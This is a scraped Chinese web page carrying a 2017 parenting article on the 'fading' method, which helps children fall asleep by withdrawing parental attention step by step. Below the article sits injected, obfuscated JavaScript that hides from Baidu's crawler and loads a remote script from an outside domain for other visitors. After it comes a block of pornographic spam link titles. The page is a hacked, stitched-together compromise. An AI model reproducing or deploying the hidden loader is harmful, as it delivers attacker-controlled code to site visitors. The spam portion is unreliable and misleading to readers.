當前位置:首頁 > 減肥 > 減肥方法 > 正文

孩子睡不著家長也苦惱 遞減法有效幫助孩子入睡

2017-03-12 13:44:14  來源:360常識網   熱度:
導語:許多寶貝到了晚上不睡覺,這對它們的生長發育是非常不好的,在這里專家要教給您一種讓寶寶乖乖睡覺的方法,那就是遞減法,具體怎么操作呢?下面就來看看吧!

如何讓寶寶睡好覺,是家長最為關注的育兒問題。專家指出,入睡實際上是一種可以學習的能力,父母完全可以幫助孩子養成健康的睡眠習慣,讓孩子自己入睡。

專家指出,可以采取遞減法幫助孩子入睡。遞減法就是逐漸減少孩子夜間醒來的次數,直到孩子可以獨立地重新入睡。經過一段時間,你逐漸減少夜間給予孩子的關注,以便讓孩子靠自己的努力入睡或重新入睡。這就像教一個大孩子騎自行車,你首先給孩子支持和平衡,然后在孩子得到信心和技巧的同時,慢慢放手。

遞減法常用的系列步驟

1.對孩子的哭鬧立即做出反應,安撫孩子需要多長時間就花多長時間。

2.爸爸給孩子拿奶瓶或媽媽不出現。

3.把牛奶換成果汁。

4.把果汁稀釋,最后只有水。

5.不再給奶瓶。

6.不再把孩子抱起來。

7.不唱歌,不說話,沒有語言交流。

8.最少的接觸,拍拍孩子或者拉孩子的手。

9.沒有眼神接觸:冷靜,臉部沒有表情。

10.沒有身體接觸:坐在孩子旁邊。

11.把椅子從嬰兒床邊向門的方向挪開,慢慢地在幾天內越挪越遠。

12.減少與孩子在一起的時間。

13.反應延遲。這是對付稍大孩子的所謂“椅子方法”,你漸漸地遠離你的孩子,直到你到了門外。

遞減法逐漸讓孩子減少長時間、復雜接觸的依賴,其明顯的優勢就是它的溫和,但其缺點是需要好幾天甚至幾個星期,而在此期間可能會發生很多次短暫的哭鬧。

專家提醒,用這種方法,有的家長也有可能完全失敗,主要原因是因為上述辦法需要的時間不可預測,干擾了父母的計劃和時間表。另外,父母的疲勞和不耐煩也會導致失敗。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
97精品一区二区视频在线观看 | 国产精品嫩草影院AV| 国产精品一区12p| 99热亚洲色精品国产88| 久久久久久亚洲精品不卡| 亚洲精品女同中文字幕| 精品一区二区三区四区| 四虎永久在线精品免费影视 | 日本h在线精品免费观看| 国产午夜精品一区二区三区小说| 欧美交A欧美精品喷水| 久久久一本精品99久久精品88| 日本加勒比久久精品| 亚洲国产成人久久精品软件| 久久在精品线影院精品国产| 国产精品无码永久免费888| 国产精品成人国产乱| 久久精品无码专区免费东京热 | 久久精品中文闷骚内射| 国产亚洲精品自在久久| 精品人妻一区二区三区四区| 波多野结衣久久精品| 久久亚洲精品国产精品| 国产一精品一av一免费爽爽| 亚洲?V无码乱码国产精品| 美女精品永久福利在线| 日产精品一二三四区国产| 日本aⅴ精品中文字幕| 亚洲愉拍99热成人精品热久久| 亚洲国产精品狼友中文久久久 | 91精品视频网站| 国产精品夜色视频一级区| 国产成人精品免费视频大全五级 | 久久精品国产亚洲精品| 国内久久精品视频| 亚洲精品国产第一综合99久久| 久久久精品人妻一区二区三区四| 久久国产乱子伦精品在| 国产一区二区三区久久精品| 久久精品亚洲男人的天堂| 国产在线精品一区二区|